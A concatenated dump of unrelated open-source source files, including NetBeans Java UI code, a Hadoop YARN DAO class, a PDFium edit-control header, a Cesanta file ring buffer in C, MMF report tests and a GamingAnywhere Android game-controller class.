} } return name; } } // end of IconPanel private static final class RootNode extends FilterNode { RootNode(Node node, String displayName) { super(node); if (displayName != null) { disableDelegation(DELEGATE_GET_DISPLAY_NAME | DELEGATE_SET_DISPLAY_NAME); setDisplayName(displayName); } } } // RootNode private static final class ResourceSelector extends JPanel implements ExplorerManager.Provider { /** Manages the tree. */ private ExplorerManager manager = new ExplorerManager(); public ResourceSelector(Node root) { setLayout(new BorderLayout(0, 5)); setBorder(new EmptyBorder(12, 12, 0, 11)); getAccessibleContext().setAccessibleDescription(bundle.getString("ACSD_ResourceSelector")); // NOI18N getAccessibleContext().setAccessibleName(bundle.getString("ACSN_ResourceSelector")); // NOI18N manager.setRootContext(root); BeanTreeView tree = new BeanTreeView(); tree.setPopupAllowed(false); tree.setDefaultActionAllowed(false); // install proper border for tree tree.setBorder((Border)UIManager.get("Nb.ScrollPane.border")); // NOI18N tree.getAccessibleContext().setAccessibleName(bundle.getString("ACSN_ResourceSelectorView")); // NOI18N tree.getAccessibleContext().setAccessibleDescription(bundle.getString("ACSD_ResourceSelectorView")); // NOI18N add(tree, BorderLayout.CENTER); } /** * Gets preferred size. Overrides superclass method. * Height is adjusted to 1/2 screen. */ @Override public Dimension getPreferredSize() { Dimension dim = super.getPreferredSize(); dim.height = Math.max(dim.height, org.openide.util.Utilities.getUsableScreenBounds().height / 2); return dim; } /** * @return selected nodes */ public Node[] getNodes() { return manager.getSelectedNodes(); } public ExplorerManager getExplorerManager() { return manager; } } // ResourceSelector }
11,990
14,425
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.yarn.server.resourcemanager.webapp.dao; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlRootElement; import java.util.List; import java.util.ArrayList; /** * DAO object to display allocation activities. */ @XmlRootElement(name = "bulkActivities") @XmlAccessorType(XmlAccessType.FIELD) public class BulkActivitiesInfo { private ArrayList<ActivitiesInfo> activities = new ArrayList<>(); public BulkActivitiesInfo() { // JAXB needs this } public void add(ActivitiesInfo activitiesInfo) { activities.add(activitiesInfo); } public ArrayList<ActivitiesInfo> getActivities() { return activities; } public void addAll(List<ActivitiesInfo> activitiesInfoList) { activities.addAll(activitiesInfoList); } }
476
303
<filename>app/src/main/cpp/pdfium/include/pdfwindow/PWL_EditCtrl.h // Copyright 2014 PDFium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com #ifndef _PWL_EDITCTRL_H_ #define _PWL_EDITCTRL_H_ enum PWL_EDIT_ALIGNFORMAT_H { PEAH_LEFT = 0, PEAH_MIDDLE, PEAH_RIGHT }; enum PWL_EDIT_ALIGNFORMAT_V { PEAV_TOP = 0, PEAV_CENTER, PEAV_BOTTOM }; class IPWL_Edit_Notify; class CPWL_EditCtrl; class CPWL_Caret; class IFX_Edit; class CPWL_Edit; class IPWL_Edit_Notify { public: //when the position of caret is changed in edit virtual void OnCaretMove(FX_INT32 x1, FX_INT32 y1, FX_INT32 x2, FX_INT32 y2) {} virtual void OnContentChange(const CPDF_Rect& rcContent){} //OprType: 0 InsertWord //1 InsertReturn //2 BackSpace //3 Delete //4 Clear //5 InsertText //6 SetText virtual void OnInsertWord(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnInsertReturn(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnBackSpace(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnDelete(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnClear(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnInsertText(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnSetText(const CPVT_WordPlace& place, const CPVT_WordPlace& oldplace){} virtual void OnAddUndo(CPWL_Edit* pEdit) {} }; class PWL_CLASS CPWL_EditCtrl : public CPWL_Wnd, public IFX_Edit_Notify { friend class CPWL_Edit_Notify; public: CPWL_EditCtrl(); virtual ~CPWL_EditCtrl(); public: virtual void OnCreate(PWL_CREATEPARAM & cp); virtual void OnCreated(); virtual FX_BOOL OnKeyDown(FX_WORD nChar, FX_DWORD nFlag); virtual FX_BOOL OnChar(FX_WORD nChar, FX_DWORD nFlag); virtual FX_BOOL OnLButtonDown(const CPDF_Point & point, FX_DWORD nFlag); virtual FX_BOOL OnLButtonUp(const CPDF_Point & point, FX_DWORD nFlag); virtual FX_BOOL OnMouseMove(const CPDF_Point & point, FX_DWORD nFlag); virtual void OnNotify(CPWL_Wnd* pWnd, FX_DWORD msg, FX_INTPTR wParam = 0, FX_INTPTR lParam = 0); virtual void CreateChildWnd(const PWL_CREATEPARAM & cp); virtual void RePosChildWnd(); virtual void SetFontSize(FX_FLOAT fFontSize); virtual FX_FLOAT GetFontSize() const; public: virtual void SetText(FX_LPCWSTR csText); virtual void CopyText(); virtual void PasteText(); virtual void CutText(); CPDF_Rect GetContentRect() const; void GetCaretPos(FX_INT32& x, FX_INT32& y) const; FX_BOOL IsModified() const; CFX_WideString GetText() const; void SetSel(FX_INT32 nStartChar,FX_INT32 nEndChar); void GetSel(FX_INT32 & nStartChar, FX_INT32 & nEndChar ) const; void GetTextRange(const CPDF_Rect& rect, FX_INT32 & nStartChar, FX_INT32 & nEndChar) const; CFX_WideString GetText(FX_INT32 & nStartChar, FX_INT32 & nEndChar) const; void Clear(); void SelectAll(); FX_INT32 GetCaret() const; void SetCaret(FX_INT32 nPos); FX_INT32 GetTotalWords() const; void Paint(); void EnableRefresh(FX_BOOL bRefresh); CPDF_Point GetScrollPos() const; void SetScrollPos(const CPDF_Point& point); void SetEditNotify(IPWL_Edit_Notify* pNotify) {m_pEditNotify = pNotify;} void SetCharSet(FX_BYTE nCharSet){m_nCharSet = nCharSet;} FX_INT32 GetCharSet() const; void SetCodePage(FX_INT32 nCodePage){m_nCodePage = nCodePage;} FX_INT32 GetCodePage() const {return m_nCodePage;} CPDF_Font * GetCaretFont() const; FX_FLOAT GetCaretFontSize() const; FX_BOOL CanUndo() const; FX_BOOL CanRedo() const; void Redo(); void Undo(); void SetReadyToInput(); protected: virtual void ShowVScrollBar(FX_BOOL bShow); virtual void InsertWord(FX_WORD word, FX_INT32 nCharset); virtual void InsertReturn(); virtual void InsertText(FX_LPCWSTR csText); virtual void SetCursor(); FX_BOOL IsWndHorV(); void Delete(); void Backspace(); protected: void GetCaretInfo(CPDF_Point & ptHead, CPDF_Point & ptFoot) const; void SetCaret(FX_BOOL bVisible, const CPDF_Point & ptHead, const CPDF_Point & ptFoot); void SetEditCaret(FX_BOOL bVisible); protected: virtual void IOnSetScrollInfoX(FX_FLOAT fPlateMin, FX_FLOAT fPlateMax, FX_FLOAT fContentMin, FX_FLOAT fContentMax, FX_FLOAT fSmallStep, FX_FLOAT fBigStep){} virtual void IOnSetScrollInfoY(FX_FLOAT fPlateMin, FX_FLOAT fPlateMax, FX_FLOAT fContentMin, FX_FLOAT fContentMax, FX_FLOAT fSmallStep, FX_FLOAT fBigStep); virtual void IOnSetScrollPosX(FX_FLOAT fx){} virtual void IOnSetScrollPosY(FX_FLOAT fy); virtual void IOnSetCaret(FX_BOOL bVisible,const CPDF_Point & ptHead,const CPDF_Point & ptFoot, const CPVT_WordPlace& place); virtual void IOnCaretChange(const CPVT_SecProps & secProps, const CPVT_WordProps & wordProps); virtual void IOnContentChange(const CPDF_Rect& rcContent); virtual void IOnInvalidateRect(CPDF_Rect * pRect); private: void CreateEditCaret(const PWL_CREATEPARAM & cp); protected: IFX_Edit* m_pEdit; CPWL_Caret* m_pEditCaret; FX_BOOL m_bMouseDown; IPWL_Edit_Notify* m_pEditNotify; private: FX_INT32 m_nCharSet; FX_INT32 m_nCodePage; }; #endif
2,548
3,200
/** * Copyright 2020 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "minddata/dataset/util/status.h" #include "minddata/dataset/kernels/image/bounding_box.h" #include "minddata/dataset/kernels/image/image_utils.h" #include "minddata/dataset/kernels/image/random_vertical_flip_with_bbox_op.h" namespace mindspore { namespace dataset { const float RandomVerticalFlipWithBBoxOp::kDefProbability = 0.5; Status RandomVerticalFlipWithBBoxOp::Compute(const TensorRow &input, TensorRow *output) { IO_CHECK_VECTOR(input, output); RETURN_IF_NOT_OK(BoundingBox::ValidateBoundingBoxes(input)); if (distribution_(rnd_)) { dsize_t imHeight = input[0]->shape()[0]; size_t boxCount = input[1]->shape()[0]; // number of rows in tensor // one time allocation -> updated in the loop // type defined based on VOC test dataset for (int i = 0; i < boxCount; i++) { std::shared_ptr<BoundingBox> bbox; RETURN_IF_NOT_OK(BoundingBox::ReadFromTensor(input[1], i, &bbox)); // subtract (curCorner + height) from (max) for new Corner position BoundingBox::bbox_float newBoxCorner_y = (imHeight - 1.0) - ((bbox->y() + bbox->height()) - 1.0); bbox->SetY(newBoxCorner_y); RETURN_IF_NOT_OK(bbox->WriteToTensor(input[1], i)); } const int output_count = 2; output->resize(output_count); (*output)[1] = input[1]; return VerticalFlip(input[0], &(*output)[0]); } *output = input; return Status::OK(); } } // namespace dataset } // namespace mindspore
723
1,778
/* * Copyright (c) 2014-2018 Cesanta Software Limited * All rights reserved * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "common/cs_frbuf.h" #include "common/cs_dbg.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #ifndef MIN #define MIN(a, b) ((a) < (b) ? (a) : (b)) #endif #define MAGIC 0x3142 /* B1 */ #define FILE_HDR_SIZE sizeof(struct cs_frbuf_file_hdr) #define REC_HDR_SIZE sizeof(struct cs_frbuf_rec_hdr) struct cs_frbuf_file_hdr { uint16_t magic; uint16_t size, used; uint16_t head, tail; }; struct cs_frbuf_rec_hdr { uint16_t len; }; struct cs_frbuf { FILE *fp; struct cs_frbuf_file_hdr hdr; }; static size_t cs_pread(struct cs_frbuf *b, size_t offset, size_t size, void *buf) { fseek(b->fp, offset, SEEK_SET); return fread(buf, 1, size, b->fp); } static size_t cs_pwrite(struct cs_frbuf *b, size_t offset, size_t size, const void *buf) { fseek(b->fp, offset, SEEK_SET); return fwrite(buf, 1, size, b->fp); } static size_t write_hdr(struct cs_frbuf *b) { if (b->hdr.used == 0) { b->hdr.head = b->hdr.tail = 0; } return cs_pwrite(b, 0, FILE_HDR_SIZE, &b->hdr); } struct cs_frbuf *cs_frbuf_init(const char *fname, uint16_t size) { struct cs_frbuf *b = malloc(sizeof(*b)); if (b == NULL) return NULL; b->fp = fopen(fname, "r+"); b->hdr.size = 0; if (b->fp != NULL) { fseek(b->fp, 0, SEEK_END); long fsize = ftell(b->fp); if (fsize >= (long) FILE_HDR_SIZE) { fseek(b->fp, 0, SEEK_SET); size_t nr = fread(&b->hdr, FILE_HDR_SIZE, 1, b->fp); if (nr != 1 || b->hdr.magic != MAGIC || (fsize > (long) FILE_HDR_SIZE && b->hdr.used == 0)) { /* Truncate the empty or invalid buffer */ b->hdr.size = 0; fclose(b->fp); b->fp = NULL; } } } if (b->hdr.size == 0) { if (b->fp == NULL) { b->fp = fopen(fname, "w+"); if (b->fp == NULL) return false; } b->hdr.magic = MAGIC; b->hdr.size = size - FILE_HDR_SIZE; b->hdr.used = 0; b->hdr.head = b->hdr.tail = 0; if (write_hdr(b) != FILE_HDR_SIZE) { cs_frbuf_deinit(b); b = NULL; } } if (b != NULL) fflush(b->fp); return b; } void cs_frbuf_deinit(struct cs_frbuf *b) { if (b->fp != NULL) fclose(b->fp); memset(b, 0, sizeof(*b)); free(b); } static size_t dpwrite(struct cs_frbuf *b, size_t offset, size_t size, const void *buf) { /* If the region to be written overwrites current head record, throw away * until it doesn't. */ while (b->hdr.used > 0 && offset <= b->hdr.head && (offset + size > b->hdr.head)) { int len = cs_frbuf_get(b, NULL); if (len <= 0) return 0; } return cs_pwrite(b, offset + FILE_HDR_SIZE, size, buf); } bool cs_frbuf_append(struct cs_frbuf *b, const void *data, uint16_t len) { if (len == 0) return false; len = MIN(len, b->hdr.size - REC_HDR_SIZE); if (b->hdr.size - b->hdr.tail < (uint16_t) REC_HDR_SIZE) b->hdr.tail = 0; struct cs_frbuf_rec_hdr rhdr = {.len = len}; if (dpwrite(b, b->hdr.tail, REC_HDR_SIZE, &rhdr) != REC_HDR_SIZE) { return false; } uint16_t to_write1 = MIN(len, b->hdr.size - b->hdr.tail - REC_HDR_SIZE); if (to_write1 > 0) { if (dpwrite(b, b->hdr.tail + REC_HDR_SIZE, to_write1, data) != to_write1) { return false; } } if (to_write1 < len) { uint16_t to_write2 = len - to_write1; if (dpwrite(b, 0, to_write2, ((char *) data) + to_write1) != to_write2) { return false; } b->hdr.tail = to_write2; } else { b->hdr.tail += (REC_HDR_SIZE + to_write1); } b->hdr.used += (REC_HDR_SIZE + len); if (write_hdr(b) != FILE_HDR_SIZE) return false; fflush(b->fp); return true; } static size_t dpread(struct cs_frbuf *b, size_t offset, size_t size, void *buf) { return cs_pread(b, offset + FILE_HDR_SIZE, size, buf); } int cs_frbuf_get(struct cs_frbuf *b, char **data) { if (b->hdr.used == 0) return 0; if (b->hdr.size - b->hdr.head < (uint16_t) REC_HDR_SIZE) b->hdr.head = 0; struct cs_frbuf_rec_hdr rhdr; if (dpread(b, b->hdr.head, REC_HDR_SIZE, &rhdr) != REC_HDR_SIZE) { return -1; } if (data != NULL) { *data = malloc(rhdr.len); if (*data == NULL) return -2; } uint16_t to_read1 = MIN(rhdr.len, b->hdr.size - b->hdr.head - REC_HDR_SIZE); if (to_read1 > 0 && data != NULL) { if (dpread(b, b->hdr.head + REC_HDR_SIZE, to_read1, *data) != to_read1) { return -3; } } if (to_read1 < rhdr.len) { uint16_t to_read2 = rhdr.len - to_read1; if (data != NULL) { if (dpread(b, 0, to_read2, *data + to_read1) != to_read2) return -4; } b->hdr.head = to_read2; } else { b->hdr.head += (REC_HDR_SIZE + to_read1); } b->hdr.used -= (REC_HDR_SIZE + rhdr.len); if (write_hdr(b) != FILE_HDR_SIZE) return -5; fflush(b->fp); return rhdr.len; }
2,506
2,113
<gh_stars>1000+ //~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~// // Arcane-FX for MIT Licensed Open Source version of Torque 3D from GarageGames // Copyright (C) 2015 Faust Logic, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. // //~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~// #ifndef _AFX_EA_PARTICLE_EMITTER_H_ #define _AFX_EA_PARTICLE_EMITTER_H_ //~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~// #include "afx/afxEffectWrapper.h" //~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~// // afxEA_ParticleEmitter class ParticleEmitter; class ParticleEmitterData; class afxEA_ParticleEmitter : public afxEffectWrapper { typedef afxEffectWrapper Parent; bool do_bbox_update; ParticleEmitterData* emitter_data; void do_runtime_substitutions(); public: ParticleEmitter* emitter; /*C*/ afxEA_ParticleEmitter(); /*D*/ ~afxEA_ParticleEmitter(); virtual void ea_set_datablock(SimDataBlock*); virtual bool ea_start(); virtual bool ea_update(F32 dt); virtual void ea_finish(bool was_stopped); virtual bool ea_is_enabled() { return true; } virtual void onDeleteNotify(SimObject*); }; //~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~// #endif // _AFX_EA_PARTICLE_EMITTER_H_
772
1,338
/* * Copyright 2009-2012 Haiku Inc. All rights reserved. * Distributed under the terms of the MIT License. * * Authors: * <NAME> <<EMAIL>> * <NAME> <<EMAIL>> * <NAME> <<EMAIL>> */ #include "ExtensionsView.h" #include <Catalog.h> #include <GL/gl.h> #include <GL/glu.h> #include <GroupLayout.h> #include <GroupLayoutBuilder.h> #include <Locale.h> #include <Message.h> #include <SpaceLayoutItem.h> #include <String.h> #undef B_TRANSLATION_CONTEXT #define B_TRANSLATION_CONTEXT "Extensions" ExtensionsView::ExtensionsView() : BGroupView(B_TRANSLATE("Extensions"), B_VERTICAL), fExtensionsList(new BColumnListView("ExtensionsList", 0)) { // add the columns float availableColWidth = this->StringWidth("M") * 28; fAvailableColumn = new BStringColumn(B_TRANSLATE("Available extensions"), availableColWidth, availableColWidth, availableColWidth, B_TRUNCATE_MIDDLE); fExtensionsList->AddColumn(fAvailableColumn, 0); fExtensionsList->SetSortingEnabled(true); fExtensionsList->SetSortColumn(fAvailableColumn, true, true); // add the rows _AddExtensionsList(fExtensionsList, (char*)glGetString(GL_EXTENSIONS)); _AddExtensionsList(fExtensionsList, (char*)gluGetString(GLU_EXTENSIONS)); // add the list AddChild(fExtensionsList); GroupLayout()->SetInsets(5.0, 5.0, 5.0, 5.0); } ExtensionsView::~ExtensionsView() { BRow *row; while ((row = fExtensionsList->RowAt((int32)0, NULL)) != NULL) { fExtensionsList->RemoveRow(row); delete row; } delete fAvailableColumn; delete fExtensionsList; } // #pragma mark - void ExtensionsView::_AddExtensionsList(BColumnListView* fExtensionsList, char* stringList) { if (stringList == NULL) { // empty extensions string return; } while (*stringList != '\0') { char extName[255]; int n = strcspn(stringList, " "); strncpy(extName, stringList, n); extName[n] = 0; BRow* row = new BRow(); row->SetField(new BStringField(extName), 0); fExtensionsList->AddRow(row); if (!stringList[n]) break; stringList += (n + 1); // next ! } }
773
429
<gh_stars>100-1000 package io.airlift.configuration; public interface ConfigurationBindingListener { void configurationBound(ConfigurationBinding<?> configurationBinding, ConfigBinder configBinder); }
55
852
#include "FWCore/Framework/interface/MakerMacros.h" #include "SimCalorimetry/HcalSimProducers/interface/HcalDigiProducer.h" #include "SimGeneral/MixingModule/interface/DigiAccumulatorMixModFactory.h" DEFINE_DIGI_ACCUMULATOR(HcalDigiProducer);
90
1,061
package city.thesixsectorteam.wheelworld.job.dao; import city.thesixsectorteam.wheelworld.job.domain.JobLog; import com.baomidou.mybatisplus.core.mapper.BaseMapper; public interface JobLogMapper extends BaseMapper<JobLog> { }
84
3,252
<reponame>dk25021999/mmf # Copyright (c) Facebook, Inc. and its affiliates. import unittest import tests.test_utils as test_utils import torch from mmf.common.report import Report from mmf.common.sample import SampleList class TestReport(unittest.TestCase): def _build_report(self): tensor_a = torch.tensor([[1, 2, 3, 4], [2, 3, 4, 5]]) sample_list = SampleList() sample_list.add_field("a", tensor_a) model_output = {"scores": torch.rand(2, 2)} report = Report(sample_list, model_output) return report def test_report_copy(self): original_report = self._build_report() report_copy = original_report.copy() report_copy["scores"].zero_() self.assertFalse( test_utils.compare_tensors(report_copy["scores"], original_report["scores"]) ) def test_report_detach(self): report = self._build_report() report.a = report.a.float() report.a.requires_grad = True report.scores = report.a * 2 self.assertTrue(report.scores.requires_grad) self.assertTrue(report.a.requires_grad) self.assertFalse(report.scores.is_leaf) self.assertTrue(report.a.is_leaf) report = report.detach() self.assertFalse(report.scores.requires_grad) self.assertFalse(report.a.requires_grad) self.assertTrue(report.scores.is_leaf) self.assertTrue(report.a.is_leaf) @test_utils.skip_if_no_cuda def test_to_device(self): report = self._build_report() self.assertFalse(report.a.is_cuda) self.assertFalse(report.scores.is_cuda) report = report.to("cuda") self.assertTrue(report.a.is_cuda) self.assertTrue(report.scores.is_cuda) report = report.to("cpu", non_blocking=False) self.assertFalse(report.a.is_cuda) self.assertFalse(report.scores.is_cuda) report = report.to("cuda", fields=["scores"]) self.assertFalse(report.a.is_cuda) self.assertTrue(report.scores.is_cuda)
910
1,056
<reponame>timfel/netbeans<filename>enterprise/j2ee.dd/src/org/netbeans/modules/j2ee/dd/impl/common/GetAllEjbs.java /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /** * Superclass that implements DescriptionInterface for Servlet2.4 beans. * * @author <NAME> */ package org.netbeans.modules.j2ee.dd.impl.common; import org.netbeans.modules.schema2beans.BaseBean; import org.netbeans.modules.schema2beans.Version; import org.netbeans.modules.j2ee.dd.api.ejb.Entity; import org.netbeans.modules.j2ee.dd.api.ejb.MessageDriven; import org.netbeans.modules.j2ee.dd.api.ejb.Session; import org.netbeans.modules.j2ee.dd.api.ejb.Ejb; import org.netbeans.modules.j2ee.dd.api.common.VersionNotSupportedException; public abstract class GetAllEjbs extends EnclosingBean { public GetAllEjbs(java.util.Vector comps, Version version) { super(comps, version); } public abstract Entity[] getEntity(); public abstract MessageDriven[] getMessageDriven(); public abstract Session[] getSession(); public abstract int sizeSession(); public abstract int sizeEntity(); public abstract int sizeMessageDriven(); public abstract int removeSession(Session s); public abstract int removeEntity(Entity e); public abstract int removeMessageDriven(MessageDriven m); public void removeEjb(Ejb value){ if(value instanceof Entity){ removeEntity((Entity) value); } else if(value instanceof Session){ removeSession((Session) value); } else if(value instanceof MessageDriven){ removeMessageDriven((MessageDriven) value); } } public Ejb[] getEjbs(){ int sizeEntity = sizeEntity(); int sizeSession = sizeSession(); int sizeMessageDriven = sizeMessageDriven(); int size = sizeEntity + sizeSession + sizeMessageDriven; Ejb[] ejbs = new Ejb[size]; Entity[] enBeans = getEntity(); Session[] ssbeans = getSession(); MessageDriven[] mdbeans = getMessageDriven(); int addindex=0; for(int i=0; i<sizeEntity ; i++){ ejbs[addindex] = (Ejb)enBeans[i]; addindex++; } for(int j=0; j<sizeSession ; j++){ ejbs[addindex] = (Ejb)ssbeans[j]; addindex++; } for(int j=0; j<sizeMessageDriven ; j++){ ejbs[addindex] = (Ejb)mdbeans[j]; addindex++; } return ejbs; } }
1,283
697
import java.awt.Dimension; import java.awt.Point; import java.util.ArrayList; import java.util.Collection; import java.util.List; import nz.sodium.*; public class characters { static <A> Cell<List<A>> sequence(Collection<Cell<A>> in) { Cell<List<A>> out = new Cell<>(new ArrayList<A>()); for (Cell<A> c : in) out = out.lift(c, (list0, a) -> { List<A> list = new ArrayList<A>(list0); list.add(a); return list; }); return out; } static Cell<List<Character>> createCharacters( Cell<Double> time, Stream<Unit> sTick, World world, Cell<List<Character>> scene) { List<Cell<Character>> chars = new ArrayList<>(); int id = 0; for (int x = 100; x < world.windowSize.width; x += 100) for (int y = 150; y < world.windowSize.height; y += 150) { Point pos0 = new Point(x, y); if (id != 3 && id != 6 && id != 7) { HomoSapiens h = new HomoSapiens(world, id, pos0, time, sTick); chars.add(h.character); } else { HomoZombicus z = new HomoZombicus(id, pos0, time, sTick, scene); chars.add(z.character); } id++; } return sequence(chars); } public static void main(String[] args) { Animate.animate( "Zombicus characters", (Cell<Double> time, Stream<Unit> sTick, Dimension windowSize) -> { World world = new World(windowSize); CellLoop<List<Character>> scene = new CellLoop<>(); Cell<List<Character>> scene_ = createCharacters( time, sTick, world, scene); scene.loop(scene_); return scene; } ); } }
1,115
450
/* Empty for now. */
7
1,967
// // FormatterKit.h // FormatterKit // // Created by <NAME> on 26/03/16. // Copyright © 2016 FormatterKit. All rights reserved. // #import <Foundation/Foundation.h> //! Project version number for FormatterKit. FOUNDATION_EXPORT double FormatterKitVersionNumber; //! Project version string for FormatterKit. FOUNDATION_EXPORT const unsigned char FormatterKitVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <FormatterKit/PublicHeader.h> #import <FormatterKit/TTTAddressFormatter.h> #import <FormatterKit/TTTArrayFormatter.h> #import <FormatterKit/TTTColorFormatter.h> #import <FormatterKit/TTTLocationFormatter.h> #import <FormatterKit/TTTNameFormatter.h> #import <FormatterKit/TTTOrdinalNumberFormatter.h> #import <FormatterKit/TTTTimeIntervalFormatter.h> #import <FormatterKit/TTTUnitOfInformationFormatter.h> #import <FormatterKit/TTTURLRequestFormatter.h>
301
756
/* * Copyright (c) 2013 <NAME> * * This file is part of GamingAnywhere (GA). * * GA is free software; you can redistribute it and/or modify it * under the terms of the 3-clause BSD License as published by the * Free Software Foundation: http://directory.fsf.org/wiki/License:BSD_3Clause * * GA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * You should have received a copy of the 3-clause BSD License along with GA; * if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ package org.gaminganywhere.gaclient.util; import org.gaminganywhere.gaclient.util.Pad.PartitionEventListener; import android.content.Context; import android.view.MotionEvent; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; public class GAControllerBasic extends GAController implements OnClickListener, PartitionEventListener { private Button buttonEsc = null; private Pad padLeft = null; public GAControllerBasic(Context context) { super(context); } public static String getName() { return "Basic"; } public static String getDescription() { return "Mouse buttons"; } @Override public void onDimensionChange(int width, int height) { int keyBtnWidth = width/13; int keyBtnHeight = height/9; int padSize = height*2/5; // must be called first! super.onDimensionChange(width, height); // button ESC buttonEsc = null; buttonEsc = new Button(getContext()); buttonEsc.setTextSize(10); buttonEsc.setText("ESC"); buttonEsc.setOnClickListener(this); placeView(buttonEsc, width-keyBtnWidth/5-keyBtnWidth, keyBtnHeight/3, keyBtnWidth, keyBtnHeight); // padLeft = null; padLeft = new Pad(getContext()); padLeft.setAlpha((float) 0.5); padLeft.setOnTouchListener(this); padLeft.setPartition(2); padLeft.setPartitionEventListener(this); placeView(padLeft, width/30, height-padSize-height/30, padSize, padSize); } @Override public boolean onTouch(View v, MotionEvent evt) { int count = evt.getPointerCount(); if(count==1 && v == padLeft) { if(((Pad) v).onTouch(evt)); return true; } // must be called last return super.onTouch(v, evt); } private int mouseButton = -1; private void emulateMouseButtons(int action, int part) { switch(action) { case MotionEvent.ACTION_DOWN: //case MotionEvent.ACTION_POINTER_DOWN: if(part == 0 || part == 2) mouseButton = SDL2.Button.LEFT; else mouseButton = SDL2.Button.RIGHT; this.sendMouseKey(true, mouseButton, getMouseX(), getMouseY()); break; case MotionEvent.ACTION_UP: //case MotionEvent.ACTION_POINTER_UP: if(mouseButton != -1) { sendMouseKey(false, mouseButton, getMouseX(), getMouseY()); mouseButton = -1; } break; } } @Override public void onPartitionEvent(View v, int action, int part) { if(v == padLeft) { emulateMouseButtons(action, part); return; } } @Override public void onClick(View v) { if(v == buttonEsc) { sendKeyEvent(true, SDL2.Scancode.ESCAPE, 0x1b, 0, 0); sendKeyEvent(false, SDL2.Scancode.ESCAPE, 0x1b, 0, 0); } } }
1,176
709
